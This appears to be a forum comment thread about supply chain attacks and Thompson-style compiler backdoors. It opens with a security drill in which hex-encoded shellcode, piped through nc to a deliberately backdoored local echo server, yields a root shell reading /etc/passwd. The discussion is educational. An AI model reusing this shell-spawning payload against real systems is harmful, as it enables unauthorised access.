Supply chain attacks are fun.

Here's an old security drill I ran at my previous job: https://github.com/mkmik/echo-server

Follow the instructions on the README to build and run the docker container and then send a magic payload to the port and you'll get a root shell:

    $ (echo -e "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"; cat) | nc localhost 1234
    # head /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Now stare back at the https://github.com/mkmik/echo-server and try to figure out what's going on (no, it's not a buffer overflow, that's just a misdirection, and a quite effective one btw, so in order to not waste your time, I'm going to reveal that this is a supply chain attack)

So, I'm guessing it's in:

https://hub.docker.com/r/mkmik/debian-base-buildpack/ ?

And you updated it just after making this comment? Is the source available - bit difficult to research repos on mobile...

How do you detect a backdoor inserted in the login program with a test? You'd have to know the backdoor password to write the test. Perhaps you haven't read Thompson's Turing Award lecture and so you have no idea what we're talking about.

Not sure if it would work, but wouldn't it greatly complicate creating a backdoor when the host's memory is very heavily constrainted? e.g. an AVR-based "computer" that would hardly do much more than actually translate assembly to machine code?

It would probably be easier to detect, but when Thompson deployed the attack in practice, nobody noticed, even though the PDP-11 address space was the same size as an AVR's, and the CPU was a lot slower. (AVRs invariably have much less physical RAM installed than a PDP-11, but you'd need some external memory to get a C compiler to build.)

Another Ken Thompson style hack, but on an AT&T 3B2: https://www.quora.com/What-is-a-coders-worst-nightmare/answe...